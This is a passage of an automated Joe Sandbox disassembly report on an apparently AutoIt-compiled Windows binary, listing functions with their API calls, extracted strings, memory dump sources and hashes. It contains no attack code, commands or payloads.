Part of subcall function 000B520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,000F8F6E,00000000,?,?,?,?,000F911F,00000000,?), ref: 000B5213
Part of subcall function 000B520A: __aulldiv.LIBCMT ref: 000B5233

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: 2a0761832fe9ff43951080499254173276d072dce0ab74d5afa221e4cfbab755
Instruction ID: 7456f78fa5c149be716dc333688798c8a56a6e1647cd64fc48aaaef5f88e535b
Opcode Fuzzy Hash: 2a0761832fe9ff43951080499254173276d072dce0ab74d5afa221e4cfbab755
Instruction Fuzzy Hash: D2219032635610CBC729CF25D841AA2B3E1EBA5311B688E6CD1F5CF6C0CA34A945DB94

Function 000F4C27 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 000F4C4A

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 91bbbaa4be71618c82d85cf4977dc26740ab91087606dd67030a3541ce6b2423
Instruction ID: e56f22c5f90e2ff481bed7cf06885def51f25a4c3eab9e4a2d8a615404ce08ff
Opcode Fuzzy Hash: 91bbbaa4be71618c82d85cf4977dc26740ab91087606dd67030a3541ce6b2423
Instruction Fuzzy Hash: 8ED05E9116520D78ECEC8B209E2FFBB0188E300782FD1E1897F018A8D2EC855C407070

Function 000E87B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,000E8389), ref: 000E87D1

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: ffb8ec31a1cd973d8e95e715b86f6c28d712848e97069c3dc2d169d373560b32
Instruction ID: 085814ef98df10ceb7d7a1817db0d5689e64af43d0a44da0bce9c22f58d70805
Opcode Fuzzy Hash: ffb8ec31a1cd973d8e95e715b86f6c28d712848e97069c3dc2d169d373560b32
Instruction Fuzzy Hash: 08D05E3226050EABEF018EA4DD05EEE3B6AEB04B01F408111FE15C50A1C775D835AB60

Function 000BA124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 000BA12A

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 405b8c04201a5f67c5b677bc4ed4e09005ca570a224a083c55ef2d24d31b49a9
Instruction ID: a4d1392c760d0eb6386bba0c9dd23513e5c930904154cb1762d50f3043d3a80c
Opcode Fuzzy Hash: 405b8c04201a5f67c5b677bc4ed4e09005ca570a224a083c55ef2d24d31b49a9
Instruction Fuzzy Hash: EFA0123001010CA78A001B41EC044847F5CF7002907008020F40C40421D73254518580

Function 000A8808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7d04d9b2466ff0e265a4aa8ea0ab7d778d2cd054c096e4bca7b7f7dd64c3c36
Instruction ID: 96bd99876b4bc3c31cc0e3eff6ee28f03f5b25f3927663f2c919d1ddaf28d199
Opcode Fuzzy Hash: a7d04d9b2466ff0e265a4aa8ea0ab7d778d2cd054c096e4bca7b7f7dd64c3c36
Instruction Fuzzy Hash: CB2244309045868FEF788AA5C89477DB7E1FF03308F28C46BD952AB5A2DB309D91C742

Function 000B21C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: e60a463c23cdde0255fe6978b02b41702a6a3626308faa75d7b6bf9e19f07c68
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 1EC191322051930ADFAD463AC4741FEFAE15FA27B136A076DD8B3CB1D4EE20C965D620

Function 000B25FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 2a36bcff0a4c331c4cfead60e8b84d01c6495b08afb0de097096cfe25c7cd257
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 5DC182322191930ADFAD463AC4341BEFBE15FA27B136A076DD4B3DB1D4EE20C925D620

Function 000B1978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 85b2fff1fc220d8df2a89916fca6e1347b275aef939f6cdb26dd95f5cfcc2deb
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: B1C18F3221919309DFAD463AC4345FEBBE15FA27B13AA076DD4B3CB1C4EE20D925D620

Function 00107806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0010785B
DeleteObject.GDI32(00000000), ref: 0010786D
DestroyWindow.USER32 ref: 0010787B
GetDesktopWindow.USER32 ref: 00107895
GetWindowRect.USER32(00000000), ref: 0010789C
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 001079DD
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 001079ED
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00107A35
GetClientRect.USER32(00000000,?), ref: 00107A41
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00107A7B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00107A9D
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00107AB0
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00107ABB
GlobalLock.KERNEL32(00000000), ref: 00107AC4
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00107AD3
GlobalUnlock.KERNEL32(00000000), ref: 00107ADC
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00107AE3
GlobalFree.KERNEL32(00000000), ref: 00107AEE
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00107B00
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00122CAC,00000000), ref: 00107B16
GlobalFree.KERNEL32(00000000), ref: 00107B26
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00107B4C
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00107B6B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00107B8D
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00107D7A

Strings

DISPLAY, xrefs: 00107BDD
, xrefs: 00107D00
AutoIt v3, xrefs: 00107A2D
static, xrefs: 00107A75, 00107BCC

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 92a0680e00d6d7ef7bd947c28bcc3a7f05900ebc0a1937e81024793de52b5cf2
Instruction ID: 887a70fc99378a2d0fd68a4ff1bfc06efd181b3e38b62a5d46e1fe6446be4447
Opcode Fuzzy Hash: 92a0680e00d6d7ef7bd947c28bcc3a7f05900ebc0a1937e81024793de52b5cf2
Instruction Fuzzy Hash: 1C024B71900215EFDB18DFA8DD89EEE7BB9EF48310F148159F915AB2A1CB70AD41CB60

Function 0011356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0011F910), ref: 00113627
IsWindowVisible.USER32(?), ref: 0011364B

Strings

GETLINECOUNT, xrefs: 001138C6
ISCHECKED, xrefs: 00113839
CHECK, xrefs: 0011386D
ISENABLED, xrefs: 0011366B
ADDSTRING, xrefs: 00113716
FINDSTRING, xrefs: 00113776
CURRENTTAB, xrefs: 001136BD
ISVISIBLE, xrefs: 00113637
TABLEFT, xrefs: 00113687
TABRIGHT, xrefs: 0011369D
GETCURRENTSELECTION, xrefs: 001137E3
GETLINE, xrefs: 0011399B
HIDEDROPDOWN, xrefs: 00113700
SENDCOMMANDID, xrefs: 001139DA
SHOWDROPDOWN, xrefs: 001136E0
DELSTRING, xrefs: 00113749
SETCURRENTSELECTION, xrefs: 001137B6
GETCURRENTCOL, xrefs: 00113928
EDITPASTE, xrefs: 0011395F
SELECTSTRING, xrefs: 00113806
UNCHECK, xrefs: 00113883
GETCURRENTLINE, xrefs: 001138ED
GETSELECTED, xrefs: 001138A3

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 3bf7aca16922332d03a704ae6abf72df84e4c7950cc09ea016bd1629d4a62cc3
Instruction ID: f3b1d867aaf2908406b05b033da0fd46ea8fd28aa3cd6e63319d2107a92799e7
Opcode Fuzzy Hash: 3bf7aca16922332d03a704ae6abf72df84e4c7950cc09ea016bd1629d4a62cc3
Instruction Fuzzy Hash: 74D180302043019FCB08EF14C556AEF77A5AF94354F15486CF8966B2A7DB21EE8ACB52

Function 0011A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0011A630
GetSysColorBrush.USER32(0000000F), ref: 0011A661
GetSysColor.USER32(0000000F), ref: 0011A66D
SetBkColor.GDI32(?,000000FF), ref: 0011A687
SelectObject.GDI32(?,00000000), ref: 0011A696
InflateRect.USER32(?,000000FF,000000FF), ref: 0011A6C1
GetSysColor.USER32(00000010), ref: 0011A6C9
CreateSolidBrush.GDI32(00000000), ref: 0011A6D0
FrameRect.USER32(?,?,00000000), ref: 0011A6DF
DeleteObject.GDI32(00000000), ref: 0011A6E6
InflateRect.USER32(?,000000FE,000000FE), ref: 0011A731
FillRect.USER32(?,?,00000000), ref: 0011A763
GetWindowLongW.USER32(?,000000F0), ref: 0011A78E

Part of subcall function 0011A8CA: GetSysColor.USER32(00000012), ref: 0011A903
Part of subcall function 0011A8CA: SetTextColor.GDI32(?,?), ref: 0011A907
Part of subcall function 0011A8CA: GetSysColorBrush.USER32(0000000F), ref: 0011A91D
Part of subcall function 0011A8CA: GetSysColor.USER32(0000000F), ref: 0011A928
Part of subcall function 0011A8CA: GetSysColor.USER32(00000011), ref: 0011A945
Part of subcall function 0011A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0011A953
Part of subcall function 0011A8CA: SelectObject.GDI32(?,00000000), ref: 0011A964
Part of subcall function 0011A8CA: SetBkColor.GDI32(?,00000000), ref: 0011A96D
Part of subcall function 0011A8CA: SelectObject.GDI32(?,?), ref: 0011A97A
Part of subcall function 0011A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 0011A999
Part of subcall function 0011A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0011A9B0
Part of subcall function 0011A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 0011A9C5
Part of subcall function 0011A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0011A9ED

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: c3424e61cfc3404d7534882479f79b2ee0ca67ee132ae10580f64f5293f40b28
Instruction ID: 21b7b1cdae0a006dd24b293fd374c72115a6002fd2a081b98cb7c77e7b6c89f5
Opcode Fuzzy Hash: c3424e61cfc3404d7534882479f79b2ee0ca67ee132ae10580f64f5293f40b28
Instruction Fuzzy Hash: B2917D72009301FFC7189F64DD08A9B7BAAFF88321F508A2DF966961E1D731D985CB52

Function 00092C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00092CA2
DeleteObject.GDI32(00000000), ref: 00092CE8
DeleteObject.GDI32(00000000), ref: 00092CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00092CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00092D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 000CC43B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 000CC474
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 000CC89D

Part of subcall function 00091B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00092036,?,00000000,?,?,?,?,000916CB,00000000,?), ref: 00091B9A

SendMessageW.USER32(?,00001053), ref: 000CC8DA
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 000CC8F1
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 000CC907
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 000CC912

Strings

0, xrefs: 000CC731

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: ad1bae9c4115cb84f72cda88232ca4830edec081934d8128c040e7d0faa23a58
Instruction ID: 988dfc1ef6b0423defb29063457583abee0fef2ffd162d2d2d16db338f21672a
Opcode Fuzzy Hash: ad1bae9c4115cb84f72cda88232ca4830edec081934d8128c040e7d0faa23a58
Instruction Fuzzy Hash: 42128C70604601AFEB65CF24C984FADBBE5FF05300F54856DE499DB662CB31E882DB91

Function 001074AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 001074DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0010759D
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 001075DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 001075ED
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00107633
GetClientRect.USER32(00000000,?), ref: 0010763F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00107683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00107692
GetStockObject.GDI32(00000011), ref: 001076A2
SelectObject.GDI32(00000000,00000000), ref: 001076A6
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 001076B6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 001076BF
DeleteDC.GDI32(00000000), ref: 001076C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 001076F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 0010770B
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00107746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0010775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 0010776B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0010779B
GetStockObject.GDI32(00000011), ref: 001077A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 001077B1
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 001077BB

Strings

msctls_progress32, xrefs: 0010773C
DISPLAY, xrefs: 00107688
AutoIt v3, xrefs: 0010762B
static, xrefs: 0010767D, 00107795

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: e81a2428b79004df8e1688a62a554fb19eea355debc9a001a6f8ee82b3a422f0
Instruction ID: 5f00973afc5032dba2aec9e46d7b72cbd601fd8135282aabecce1619833f69fd
Opcode Fuzzy Hash: e81a2428b79004df8e1688a62a554fb19eea355debc9a001a6f8ee82b3a422f0
Instruction Fuzzy Hash: AEA16071A40605BFEB14DBA4DD4AFEE7B7AEB04711F008118FA14AB6E1D770AD41CB60

Function 000FAD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 000FAD1E
GetDriveTypeW.KERNEL32(?,0011FAC0,?,\\.\,0011F910), ref: 000FADFB
SetErrorMode.KERNEL32(00000000,0011FAC0,?,\\.\,0011F910), ref: 000FAF59

Strings

1394, xrefs: 000FAEDB
FileBackedVirtual, xrefs: 000FAF28
iSCSI, xrefs: 000FAEFE
SSA, xrefs: 000FAEE2
SATA, xrefs: 000FAF0C
SAS, xrefs: 000FAF05
RAID, xrefs: 000FAEF7
ATA, xrefs: 000FAED4
SSD, xrefs: 000FAE86
Fibre, xrefs: 000FAEE9
Virtual, xrefs: 000FAF21
Unknown, xrefs: 000FAE1B, 000FAEBF
PhysicalDrive, xrefs: 000FADA7
SCSI, xrefs: 000FAEC6
RAMDisk, xrefs: 000FAE25
Removable, xrefs: 000FAE4D
Fixed, xrefs: 000FAE43
MMC, xrefs: 000FAF1A
\\.\, xrefs: 000FAD70
Network, xrefs: 000FAE39
ATAPI, xrefs: 000FAECD
CDROM, xrefs: 000FAE2F
USB, xrefs: 000FAEF0

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: a0923201ad9476db879cdea17666a8488eef70ff94225bed26e9009532157ddb
Instruction ID: 525d4006ac00636718d362219d915063fceda6d9dd1ca622722c26f6b103f9dc
Opcode Fuzzy Hash: a0923201ad9476db879cdea17666a8488eef70ff94225bed26e9009532157ddb
Instruction Fuzzy Hash: EF5183F074420DABCB50EB94C942DBD73E1EB0A710720446AE60FABAA1DB719D45FB53

Function 000968DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00096931
